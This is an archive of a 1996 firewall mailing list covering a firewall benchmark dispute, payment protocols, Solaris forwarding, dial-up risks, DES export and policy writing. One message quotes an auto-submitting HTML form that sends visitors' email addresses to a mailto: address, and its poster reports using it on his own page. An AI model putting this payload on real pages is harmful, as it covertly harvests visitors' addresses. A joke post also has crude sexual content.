Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



On Wed, 13 Mar 1996, Philippe Cayphas wrote:

> 
> Hi all,
> 
> Data Communications has performed a very interesting comparison of a lot of
>  firewalls.
> Let's say that Raptor product was not the best. Far away.
>
FOR THE RECORD, this is MISINFORMATION! NSTL "reran" the tests upon
Raptor's request and they came out on top, hands down! If you check
out Raptor's homepage: http://www.raptor.com you will in fact see
the latest results.
 
> Top performers were :
> 1) Checkpoint's Firewalls-1
> 2) Haris Cyberguard
> 3) TIS Gauntlet
>
Having installed and integrated, number's 1 and 3 of your short list
I can say that Raptor by far is a superior product. In fact, the test's
also showed the above "dropping packets" as more and more connections
were established. Raptor was one of the only products tested that did
not drop a single packet!
 
> This study can be found at :
> http://www.data.com/Lab_Tests/Firewalls.html
>
what they fail to publish are the REAL, CORRECTED results! Check with
Raptor and NSTL for current information and please do not mislead
anyone into thinking that Raptor was NOT the top performer, because
indeed it was...
 
-SEG

From firewalls-owner  Thu Mar 14 00:03:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA14718 for firewalls-outgoing; Wed, 13 Mar 1996 23:50:27 -0800 (PST)
Received: from interlock.banamex.com (interlock.banamex.com [199.221.26.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id XAA14713 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 23:50:20 -0800 (PST)
Received: from NETCONNEX (netconnex.banamex.com) by interlock.banamex.com with SMTP id AA13362
  (InterLock SMTP Gateway 3.0 for <firewalls@greatcircle.com>);
  Thu, 14 Mar 1996 01:48:26 -0600
Message-Id: <199603140748.AA13362@interlock.banamex.com>
Date: Thu, 14 Mar 1996 01:48:00 -0600
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: RE: Visa/MasterCard SET
To: firewalls <firewalls@greatcircle.com>,
        GUINET Thierry <thierry@namsa.nato.int>
X-Mailer: Worldtalk (NetConnex V3.50c)/MIME
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



Info on SET is available at www.visa.com. The direct URL I got from the map 
was http://www.visa.com:80/cgi-bin/vee/sf/standard.html?2+0
You can also get info from http://www.mastercard.com/set/set.htm

For a mailing list subscription on SET send email to: majordomo@commerce.net 
with a message body of: subscribe set-discuss

There is also STT (Secure Transaction Technology) It is proposed by 
Microsoft and VISA. There is a very detailed document put out by Microsoft 
called "STT Wire Formats and Protocols".
According to the document, info is available by emailing 
"stt@microsoft.com". I'd also look in www.microsoft.com.

Microsoft also contributed to the PCT  ("Private Communications Technology") 
 Protocol. I vaguely remember that MarsterCard and Netscape had other plans 
as well.

And lets not forget S-HTTP. While not as popular as SSL it is definitely 
considered a bit more reliable for on-line transactions.

It all depends on what you want to do.

***As for firewalls, all I know is that ANS Interlock supports SSL. I'd like 
to know what other firewall vendors are doing about these protocols.

If you find out more I'd love to hear about it.

Thanks,

Art Grapa
agrapa@banamex.com

 ----------
From: GUINET Thierry
To: firewalls
Subject: Visa/MasterCard SET
Date: Thursday, March 14, 1996 12:46AM

Hi there,

Sorry for this somehow off-topic question. But I believe I read something
about SET (Secured Electronic Transaction) from this mailing-list.
Could somebody point me to the right place?
TIA


Thierry Guinet                   |NAMSA Luxembourg (Europe)
Systems & Network programmer     |NATO Maintenance & Supply Agency
T.Guinet@namsa.nato.int          |Phone: +352/30.63-6812
                       |Fax  : +352/30.87.21

From firewalls-owner  Thu Mar 14 00:18:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA15517 for firewalls-outgoing; Thu, 14 Mar 1996 00:06:41 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA15506 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 00:06:35 -0800 (PST)
Received: by mercury.Sun.COM (Sun.COM)
	id AAA12363; Thu, 14 Mar 1996 00:04:58 -0800
Received: from Holland.Sun.COM (isunnl) by snail.Sun.COM (4.1/SMI-4.1)
	id AA21125; Thu, 14 Mar 96 00:04:56 PST
Received: from albano by Holland.Sun.COM (4.1/SMI-4.1-sd.fkk2004)
	id AA16276; Thu, 14 Mar 96 09:04:53 +0100
Received: from holland (room101) by albano (5.0/SMI-SVR4-se.fkk110)
	id AA19318; Thu, 14 Mar 1996 09:04:52 +0100
Message-Id: <9603140804.AA19318@albano>
To: firewalls@GreatCircle.COM
Subject: Solaris 2 & ip_forwarding
Date: Thu, 14 Mar 1996 09:04:52 +0100
From: Casper Dik <casper@holland.Sun.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>I know that we could use ndd to turn off ip_forwarding on a Solaris 2
>workstation, but is their a way to disable this feature so that intruder
>can't turn it on again?
>
>ndd seems to work as turning off ip_forwarding using adb on a SunOS kernel,
>what I looking for is like setting IP_FORWARDING to -1 in SunOS.


Unfortiunately, you're sadly mistaken about the magic involved with
setting IPFORWARDING to -1 in SUnOS 4.x.  If you have a binary license, all it
does is:

/usr/kvm/sys/netinet/in_proto.c:int    ip_forwarding = IPFORWARDING;

which can be undone with adb.

There's no way to remove forwarding capability from the kernel in SunOS 4
or Solaris 2.x, w/o source access.

(Note that even with source access, it's still possible for a hacker to
reenable the feature by oading stuff in the kernel, and that *is* possible,
even if you don't have loadable device drivers as long as you can patch
a running kernel)

Casper

From firewalls-owner  Thu Mar 14 00:33:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id AAA17191 for firewalls-outgoing; Thu, 14 Mar 1996 00:28:54 -0800 (PST)
Received: from okjunc.junction.net (okjunc.junction.net [199.166.227.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id AAA17175 for <Firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 00:28:47 -0800 (PST)
Received: from sidhe.memra.com (sidhe.memra.com [199.166.227.105]) by okjunc.junction.net (8.6.11/8.6.11) with SMTP id AAA08894 for <Firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 00:37:37 -0800
Date: Thu, 14 Mar 1996 01:27:18 -0800 (PST)
From: Michael Dillon <michael@memra.com>
To: Firewalls@GreatCircle.COM
Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
In-Reply-To: <31463B7B.3FD8@hk.super.net>
Message-ID: <Pine.BSF.3.91.960314011515.4863C-100000@sidhe.memra.com>
Organization: Memra Software Inc. - Internet consulting
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Tue, 12 Mar 1996, Vinci Chou wrote:

> Though it is possible for the unprotected node to be attacked, can any one
> give any specific examples in a Windows environment ?  E.g. if the user
> did not have any file sharing, is there any known bug in Windows/Workgroup/
> Win95 that allow another person over the Internet to place anything into
> the hard disk of the dial-up user ? 

Have a look through http://www.c2.org/hackmsoft/ but be aware this only 
includes security holes that are PUBLICLY known. There may be more....

> Also, the IP address of the dial-up
> user is allocated by the ISP and change from time to time, how can it be
> possible for a hacker to leave a back door and come back again ?

Hackers now make wide use of software tools to help them in their work 
such as scanners that will scan a range of IP addresses probing for 
vulnerabilities or preinstalled back doors. 

> > If someone can log in from the outside while you are connected or
> > happens to find your modem's phone number, you've been breached.

> If I have the auto-answer of my modem turned-off, is this still true ?

Yes, but then *YOU* can't dial in either. That's why this is a problem.

> I've been trying for a long time looking for the details of how break in can
> be achieved through this kind of dial-up connection but to my disappointment,
> almost all discussions were TOO GENERAL.  I think I need more information to
> convince TOP management and myself that this kind of dial-out internet
> connection is in fact dangerous before we can lay down some guidelines
> and enforce it.

Stop thinking of it as a dial-out Internet connection. It makes no 
difference who does the dialling, once you are connected, you are 
CONNECTED. At that point anybody can attempt anything they want with your 
machine because it is DIRECTLY connected to the Internet with absolutely 
no firewall protection whatsoever. ISP's do not use firewalls because 
they are PUBLIC-ACCESS systems. If you have a weakness it is fully 
exposed at this point. 

Better to throw out all modems; give them to charity. Install a LAN if you
don't have one, set up a firewall and get a leased connection to the
Internet. Now all the potentially vulnerable machines are hiding behind a 
firewall and you carefully control which services they can offer (NONE 
hopefully) and which they can access. Now you *DO* have control 
separately over outgoing and incoming connections. If people need 
Compuserve access, they can do this over the net. Same with AOL. 
Everybody shares one centrally controlled and administered Internet 
connection.

> (Mind this !  The advertising pamphet is advertising this feature of
> pcANYWHERE !  Also, for Win95, MS Plus includes a Dial-Up Networking
> Server which can also do that !  How to control these without going
> physically there to inspect !!!

You really need to get some good books or tech reports on network 
security or else hire a good consultant. These are fundamentall security 
issues and really go beyond firewalls.


Michael Dillon                                    Voice: +1-604-546-8022
Memra Software Inc.                                 Fax: +1-604-546-3049
http://www.memra.com                             E-mail: michael@memra.com


From firewalls-owner  Thu Mar 14 01:49:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id BAA20379 for firewalls-outgoing; Thu, 14 Mar 1996 01:07:48 -0800 (PST)
Received: from wile-coyote.rcs.co.uk (wile-coyote.rcs.co.uk [194.128.160.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id BAA20373 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 01:07:39 -0800 (PST)
Received: by wile-coyote.rcs.co.uk (8.6.9/Simple.cf 1.18)
	id JAA13418; Thu, 14 Mar 1996 09:05:59 GMT
Message-Id: <199603140905.JAA13418@wile-coyote.rcs.co.uk>
Subject: Re: firewalls-digest V5 #155
To: firewalls@GreatCircle.COM
Date: Thu, 14 Mar 1996 09:05:58 +0000 (GMT)
In-Reply-To: <199603121821.KAA12828@miles.greatcircle.com> from "owner-firewalls-digest@uunet.uu.net" at Mar 12, 96 10:21:41 am
From: Kevin Kealy <Kevin.Kealy@rcs.co.uk>
X-Operating-System: Linux on an i486
X-Organisation: River Computer Services
X-Bike: Honda CBR1000FM
X-Mailer: ELM [version 2.4 PL24 PGP3 *ALPHA*]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

owner-firewalls-digest@uunet.uu.net wrote:
>
>
>From: ishii@open.tjsys.co.jp (=?ISO-2022-JP?B?GyRAQFAwZiEhRD47SxsoQg==?=)
>Date: Tue, 12 Mar 96 17:56:12 JST
>Subject: easing American export regulation ?
>
>Please let me know someone.
>
>   It was soon heard that export of the 64bit version of RC2 ? of RSA 
>   was permitted by easing American export regulation a little.
>
I believe that what you have heard is that TIS (the makers of the Gauntlet
firewall) have succeeded in getting the first ever commercial DES product 
(unweakened) out of the USA.  For this they deserve *huge* applause and
thanks - let's just hope that this is a harbinger of things to come.

The primary use for this technology with the Gauntlet firewall is for point-
to-point Virtual Private Networks (VPNs) across the Internet.

The issue is very closely tied up with their new Commercial Key Escrow (CKE)
system too.

On the downside, there is this information:

-	The DES they've got permission to export is single-DES only - 56bit.
-	Single DES is not considered "strong" any more
-	The keys for your DES encryption must be generated and escrowed 
	(stored) in the USA
-	Each endpoint for your VPN must have a separate export license from the
	US government
-	The keys are subject to US law, not the laws of the country where they're
	being used - unless you also choose to store them elsewhere.

>   Is it true?    I am living in JAPAN .

I hope this helps.  Considering my penultimate bullet above, I don't know
how hard you'll find it getting the license into Japan; shouldn't be too
hard though.

Just as an aside, I use SSH between my laptop and my office when I'm 
travelling; just use a gopher or a WWW search to look for SSH.  And yes,
it was developed outside the US (I believe) :-)

Kevin

--                                   __  _____  __
_________________________________   (__\/     \/__)  ________________
                                       \\_____//
Kevin Kealy                            ( \_|_/ )
                                       |\_____/|
Finger kevink@rcs.co.uk for PGP key   =|  |/|  |=     Honda CBR1000FM
                                        \ |\| /
http://www.rcs.co.uk                     -|/|-
_______________________________________   \_/  ______________________
PGP Key fingerprint: 30 F5 E6 3F B5 67 2D CB  AD 36 B5 06 E9 BC 4E 5E


From firewalls-owner  Thu Mar 14 03:33:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA29172 for firewalls-outgoing; Thu, 14 Mar 1996 03:18:44 -0800 (PST)
Received: from use.usit.net (use.usit.net [199.1.48.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id DAA29158 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 03:18:36 -0800 (PST)
Received: from henry.usit.net (bway-slip7.dynamic.usit.net [199.1.63.7]) by use.usit.net (8.6.12/8.6.9) with SMTP id GAA26844 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 06:16:56 -0500
Message-ID: <3147F2BB.4F57@usit.net>
Date: Thu, 14 Mar 1996 06:19:39 -0400
From: "James W. Henry" <jwhenry@usit.net>
X-Mailer: Mozilla 2.0 (Win95; I)
MIME-Version: 1.0
To: firewalls@GreatCircle.COM
Subject: Re: firewalls-digest V5 #158
References: <199603140152.RAA24676@miles.greatcircle.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hope this makes the posting, this is my first try.  There is a lot of 
concern on the Netscape 2 sendmail "function", 8),that follows and I'm 
interested in it to.> I noticed, while loading a web page, that there 
was a mailto: URL active
> (using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
> after I cancelled that and examined the source, I saw something like this:
>
> <body onLoad="document.mailme.submit()">
> <form method=post name="mailme"
> action="mailto:nasty@secret.org?subject=gotcha">
> <input type=hidden name="hi" value="there">
> </form>
>


I have verified that it works, like alot of you and put it on my home 
page to show me how mayn people are connecting to my home page.  The 
email address above has been corrected by me to send to the right 
address.  The input name and value are "=" to each other. Also I have a 
input name of many words and the message has the "+" instead of spaces. 
 A "/" wasn't/?can't? be passed through so that stops? html code from 
being sent back in the message.?  Would like to find this out.  The 
Email client, itc Netscape 2.0, says it is  
application/x-www-form-urlencoded
What other x types is Netscape testing with?
What other Easter Eggs are there out there?
I found: 
ctrl-alt T  Url list box
ctrl-alt F   Amazing Fishcam
ctrl-alt Spacebar   Some kind of page down function

Easeter Eggs are nice at Easter time but if you forget where one is it 
will remind you at a later time. imho.

Thanks,
James

From firewalls-owner  Thu Mar 14 04:33:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA01114 for firewalls-outgoing; Thu, 14 Mar 1996 04:08:16 -0800 (PST)
Received: from gate.cmsinc.com ([206.42.94.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA01101 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 04:08:04 -0800 (PST)
Received: from cathyc-pc.cmsinc.com(204.192.28.153) by gate.cmsinc.com via smap (V1.3)
	id sma025567; Thu Mar 14 03:41:38 1996
Received: by cathyc-pc.cmsinc.com with Microsoft Mail
	id <01BB1175.036C5DE0@cathyc-pc.cmsinc.com>; Thu, 14 Mar 1996 07:08:14 -0500
Message-ID: <01BB1175.036C5DE0@cathyc-pc.cmsinc.com>
From: Cathy Coleman <cathyc@cmsinc.com>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>,
        "'GUINET Thierry'" <thierry@namsa.nato.int>
Subject: RE: Visa/MasterCard SET
Date: Thu, 14 Mar 1996 07:08:12 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

The new SET (Secure Electronic Transaction) draft standard/
specs are now online at VISA and Mastercard for downloading.

The draft docs were just released yesterday (Feb 23).

The docs are available in Word and Postscript file formats
for Windows, Unix and the Mac.

Check out:

	http://www.mastercard.com/set/set.htm
	http://www.visa.com:80/cgi-bin/vee/sf/standard.html?2+0

The Web pages also have information on how to subscribe to 
the set-discuss mailing list.


----------
From: 	GUINET Thierry[SMTP:thierry@namsa.nato.int]
Sent: 	Wednesday, March 13, 1996 3:02 AM
To: 	firewalls@greatcircle.com
Subject: 	Visa/MasterCard SET

Hi there,

Sorry for this somehow off-topic question. But I believe I read something
about SET (Secured Electronic Transaction) from this mailing-list.
Could somebody point me to the right place?
TIA


Thierry Guinet 			   |NAMSA Luxembourg (Europe)
Systems & Network programmer	   |NATO Maintenance & Supply Agency
T.Guinet@namsa.nato.int		   |Phone: +352/30.63-6812
				   |Fax  : +352/30.87.21




From firewalls-owner  Thu Mar 14 05:08:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id EAA02429 for firewalls-outgoing; Thu, 14 Mar 1996 04:53:51 -0800 (PST)
Received: from balder.ssds.com (balder.ssds.com [204.131.72.62]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id EAA02424 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 04:53:47 -0800 (PST)
Received: (from mail@localhost) by balder.ssds.com (8.6.9/8.6.9.SSDSnet-hub) id FAA25541; Thu, 14 Mar 1996 05:52:09 -0700
Received: from baltimore.ssds.com(134.127.34.1) by balder.ssds.com via smap (V1.3)
	id sma025539; Thu Mar 14 05:51:51 1996
Received: by baltimore.ssds.com id HAA29069; Thu, 14 Mar 1996 07:51:50 -0500 (EST)
Date: Thu, 14 Mar 1996 07:51:49 -0500 (EST)
From: Mike Malik -- Dover DE <mam@ssds.com>
X-Sender: mam@baltimore
To: Sick Puppy <sikpuppy@maestro.com>
cc: firewalls@GreatCircle.COM
Subject: Re: Dawg Confesses: I did Princess Dianna.
In-Reply-To: <Pine.SUN.3.91.960313122425.14887A-100000@maestro.com>
Message-ID: <Pine.SUN.3.91.960314075048.29060A-100000@baltimore>
MIME-Version: 1.0
Content-Type: TEXT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Without looking at the packet data my guess would be a DHCP or BOOTP. 
Probally a PPP or SLIP conection starting up. 
Mike

On Wed, 13 Mar 1996, Sick Puppy wrote:

> Date: Wed, 13 Mar 1996 12:38:03 -0500 (EST)
> From: Sick Puppy <sikpuppy@maestro.com>
> To: firewalls@GreatCircle.COM
> Subject: Dawg Confesses: I did Princess Dianna.
> 
> Naah.  The subject line is just another lie to help sell newspapers.
> 
> In the course of general sniffing about I occasionally see ICMP packets 
> with an IP address of 0.0.0.0 going across the network.  Most machines 
> seem to ignore these packets, but some machines that seem to be in some 
> kind of cluster respond to them as if they had been pinged.  The firewalls 
> these packets hit simply seem to discard the packets.
> 
> What are these packets?  Sorry if this is a dumb question.
>                                     
>                                     SP, tCED
>                                     Photonic & Tachyonic Systems Engineer
> 
>                  -=:( Deliciously abused by Char ):=-
>          -=:(  How could anything that feels so good be so wrong ):=-
> 
> 
> 

  ( (   | (                Mike Malik (mam@ssds.com)         
   ) ) (|  ), inc.         9841 Broken Land Parkway,Suite 100 
  business driven          Columbia, MD 21046 
technology solutions       410-381-4313 FAX: 410-381-2170


From firewalls-owner  Thu Mar 14 05:40:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA03772 for firewalls-outgoing; Thu, 14 Mar 1996 05:33:09 -0800 (PST)
Received: from hprofsdv.nwscc.sea06.navy.mil ([130.163.113.128]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id FAA03767 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 05:33:02 -0800 (PST)
Message-Id: <199603141333.FAA03767@miles.greatcircle.com>
Received: by hprofsdv.nwscc.sea06.navy.mil
	(1.37.109.14/16.2) id AA017300263; Thu, 14 Mar 1996 08:31:04 -0500
From: John Bell <job@hprofsdv.nwscc.sea06.navy.mil>
Subject: Re: books on security policies
To: jgt10@amdahl.com
Date: Thu, 14 Mar 96 8:31:03 EST
Cc: firewalls@greatcircle.com
Reply-To: job@hprofsdv.nwscc.sea06.navy.mil
In-Reply-To: <m0twWHD-0003oNC@sousa.amdahl.com>; from "John G. Thompson" at Mar 12, 96 7:46 am
Mailer: Elm [revision: 70.85.2.1]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> 0) Determine you organization's mission and goals, 
> 	if you haven't already done so.

GREAT touch. Can't believe I missed that one...

> 
> > 1) Determine your assets and organizational needs
> 
> 1a) Determine what functions and services you need to get or
>     to provide to do your mission with your resources.
> 
> > 2) Decide which assets warrant extra protection
> 
> 2a) Determine which services or functions can gotten or 
>     provided while providing an 'acceptable' level or risk or 
>     protection.  If necessary, determine what is 'acceptable'
>     for each asset.
> 
> > 3) Form a consensus on the type/level of protection required
> 
> 3a)  Form a concensus that either performance or security comes first.
>      There MUST be a buy in that security is the top priority or 
>      performance is the top priority.  There are trade offs for
>      each decsion.
> 
> > 4) Write this information down
> > 5) Hand this document to your Technical and Legal departments, in order
> >    to determine if policy implementation is feasible
> 
> The technical and legal departments must be involved all along.  
> 
> A policy invented by management apart from the technical and 
> legal players is often not worth the paper it is printed on.
> 
> A concensus can't be built if the major players of technical and 
> legal aren't atleast considered in the policy.

I agree... I should have written it down that way :-). Too bad I've never
had the chance to work for someone so "enlightened" :-(. Many upper-level
muckity-mucks I've had the pleasure to take money from like to "come down
from the mountain", to show their power and to prove they are security-savvy.
Such is life :-(.

> 
> > 6) If step "5" is a go, have technical/legal author procedure docs
> >    which will be referenced by the policy doc
> 
> If anything, I would see the remaining effort of cleaning up the 
> docs created in (4) to make changes out of (5) and set 
> announcement and implementation dates.

I like that... nice.

> 
> > 7) Make changes as organizational needs and/or assets change
> > 
> > That's about as close to a policy template that you'll see. Policies tend
> > to be tailored, not one-size-fits-all. By definition, this requires
> > extra effort (effort well spent up front, _before_ implementation).
> 
> I couldn't agree more!
> 
> A good policy is made by LOTS of effort up front.  Like most good
> engineering jobs, the more work put into the effort in the design
> phase, the less goes seriously haywire down the road!
> 
> -- 
> John G. Thompson    jgt10@amdahl.com      1-408-992-2088
> Amdahl Corporation, P.O. Box 3470 MS 383, Sunnyvale, CA 94088-3470
> 
> [The opinions expressed are MINE. They do not necessarily reflect the 
> policies, procedures, press releases or opionions of the Amdahl Corporation.]
> 

Man, if I didn't know any better, I'd say we were authoring a policy
template :-). A very hot management item these days, doncha know... I almost
feel "empowered" :-).

Have fun,
--
                       John Bell, CACI Inc. - Federal
           Bloomington, Indiana (Midwest RE-Engineering Division)
        job@hprofsdv.nwscc.sea06.navy.mil -OR- jbii@mama.indstate.edu
                      "Hi ho! Yow! I'm surfing ARPANET!"
                 - anagram for "The Information Superhighway"

From firewalls-owner  Thu Mar 14 06:18:30 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA05195 for firewalls-outgoing; Thu, 14 Mar 1996 06:04:45 -0800 (PST)
Received: from gatekeep.namsa.nato.int (gatekeep.namsa.nato.int [147.36.199.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA05171 for <firewalls@greatcircle.com>; Thu, 14 Mar 1996 06:04:34 -0800 (PST)
Message-Id: <199603141404.GAA05171@miles.greatcircle.com>
Received: by gatekeep.namsa.nato.int with ESMTP
	(1.37.109.16/16.2) id AA222365936; Thu, 14 Mar 1996 13:18:56 +0100
Received: from mailhub@namsa.nato.int with SMTP
	(1.37.109.16/16.2) id AA095666055; Thu, 14 Mar 1996 13:20:55 +0100
Date: Thu, 14 Mar 1996 13:20:55 +0100
From: GUINET Thierry <thierry@namsa.nato.int>
To: firewalls@greatcircle.com
Subject: SET: Thanks
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi all,

First I have to apologize for having wasted bandwidth with my yesterday posting.
When I noticed the answer was already contained in the question, and how stupid
it was, it was already to late :(

Anyway I've to thank for all the answers I got.

A special award to Paul Ferguson :-D
>They have a 'Click here for SET information' button. :-)
(Will try to click the right button ;-)

And thanks to Arturo Grapa Ysunza for some more pointers:
STT (Secure Transaction Technology) VISA/Microsoft
Available through e-mail to stt@microsoft.com
PCT (Private Communications Technology) MasterCard/Netscape/Microsoft

Thierry


Thierry Guinet 			   |NAMSA Luxembourg (Europe)
Systems & Network programmer	   |NATO Maintenance & Supply Agency
T.Guinet@namsa.nato.int		   |Phone: +352/30.63-6812
				   |Fax  : +352/30.87.21

From firewalls-owner  Thu Mar 14 06:39:38 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA05733 for firewalls-outgoing; Thu, 14 Mar 1996 06:19:59 -0800 (PST)
Received: from eagle1.raptor.com (raptor.com [204.7.243.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA05707 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 06:19:32 -0800 (PST)
Received: from raptor1.raptor.com ([204.7.242.10]) by eagle1.raptor.com
          via smtpd (for miles.greatcircle.com [198.102.244.34]) with SMTP; 14 Mar 1996 14:17:45 UT
Received: from raptor1.raptor.com (localhost [127.0.0.1]) by raptor1.raptor.com (8.7.3/8.7.3) with ESMTP id JAA18758 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 09:17:45 -0500 (EST)
Message-Id: <199603141417.JAA18758@raptor1.raptor.com>
To: firewalls@GreatCircle.COM
Subject: Re: Raptor Product and other comparison of firewalls
Date: Thu, 14 Mar 1996 09:17:45 -0500
From: Brien Wheeler <bwheeler@raptor.com>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Philippe Cayphas (pc@godel2.bim.be) writes:
> Data Communications has performed a very interesting comparison of a lot of
>  firewalls.
> Let's say that Raptor product was not the best. Far away.
> 
> This study can be found at :
> http://www.data.com/Lab_Tests/Firewalls.html

The test tools used by Data Communications in the preparation of the article
that you cite created an unnaturally high connection rate when attempting
to configure all virtual clients.  This high connection rate exposed a minor
bug in Raptor's Generic Service Passer (one that had never impacted any
customer), causing the _test configuration_ to fail.  The actual tests,
which generated a more realistic (but still high) connection load were not
performed during that testing.

Raptor fixed the bug and retested at NSTL (where the original testing was
performed) on the same hardware, using the exact original test tools and
scenarios.  On retest, the Eagle (running on a SPARC 5) performed better
than all firewalls tested for the original article.  A SPARC 20 Eagle
that was tested for comparison purposes was literally off the chart,
serving up to 1200 "transactions per minute", while the chart published
in the original article stopped at 900 tpm.

An update which mentions all this appeared in a recent (March 1996)
Data Communications issue.

     Brien Wheeler
     Software Engineer
     Raptor Systems, Inc.


From firewalls-owner  Thu Mar 14 06:59:41 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA05351 for firewalls-outgoing; Thu, 14 Mar 1996 06:09:30 -0800 (PST)
Received: from relay6.UU.NET (relay6.UU.NET [192.48.96.16]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA05338 for <firewalls@GreatCircle.com>; Thu, 14 Mar 1996 06:09:25 -0800 (PST)
Received: from maestro.Maestro.COM by relay6.UU.NET with SMTP 
	id QQagzw07836; Thu, 14 Mar 1996 09:07:46 -0500 (EST)
Received: by maestro.Maestro.COM (4.1/MAESTRO-0.1/07-03-93)
	id AA07151; Thu, 14 Mar 96 08:56:18 EST
Date: Thu, 14 Mar 1996 08:56:18 -0500 (EST)
From: Sick Puppy <sikpuppy@maestro.com>
To: firewalls@GreatCircle.com
Subject: Sick Puppy leaves on 5 year mission (maybe)
Message-Id: <Pine.SUN.3.91.960314085333.7105A-100000@maestro.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

    The Life-Form Resources Managent Divsion of Arf Fleet has surprised the
    hell out of me by recommending to Elite Interplanetary Corporation
    (subcontractor to Inter Galactic Intelligence Agency) that I be
    promoted to the function of Financial Hocifer and reassigned to the
    Stealth Starship Sleight_of_Hand prior to its departure for the planet
    YourAnus.  The exact date of departure is "classified" but I think that
    just means they haven't been able to decide on a date yet.

    Now, I have been trying to get my skillful paws into the financial area
    for some time because the stuff crossing my sniffers shows thats where
    the real power lies.  However, this opportunity also means I will have
    to limit my sniffing, hacking and cracking to purely recreational
    purposes, from a great distance, and there will no longer be time for
    educational research.

    Sleight_Of_Hand is being sent to protect YourAnus and its moons from
    the Beijing government which claims YourAnus is a province that broke
    away from mainland China back when their ancient Dynasties were
    screwing everything in sight that moved, regardless of male or female.
    Mainland Chinese don't have sex these days. (British influence).

    To those security professionals that I have pestered through this list
    and by e-mail, thanks for the help and insights you provided.  Despite
    what everybody thinks about security professionals, you are really not
    bad people.

    To the lady consultants out there, who have not had the privilege of my
    charming company, the Hitachi Magic Wand cannot be beat by man nor
    beast (including dawg).

    After we ship out, e-mail for me can be sent through my good buddy
    Brian Smith.  Will post his e-mail address on this list and alt.2600 as
    a one-liner right before we leave.  Unfortunately Brian, is not very
    bright but he is reliable.  Please don't run and leave Brian holding
    the bag.
                                Sick Puppy, the Cat_Eating_Dawg
                                    over and out, (maybe)



From firewalls-owner  Thu Mar 14 07:10:10 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA06307 for firewalls-outgoing; Thu, 14 Mar 1996 06:40:16 -0800 (PST)
Received: from smtp1.interramp.com (smtp1.interramp.com [38.8.45.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA06298 for <firewalls@GreatCircle.COM>; Thu, 14 Mar 1996 06:40:10 -0800 (PST)
Received: from [38.12.101.155] by smtp1.interramp.com (8.6.12/SMI-4.1.3-PSI-irsmtp)
	id JAA24695; Thu, 14 Mar 1996 09:38:29 -0500
X-Sender: us008809@pop3.interramp.com
Message-Id: <v02110106ad6ddbb248e7@[38.12.101.155]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 14 Mar 1996 09:36:33 -0500
To: firewalls@GreatCircle.COM
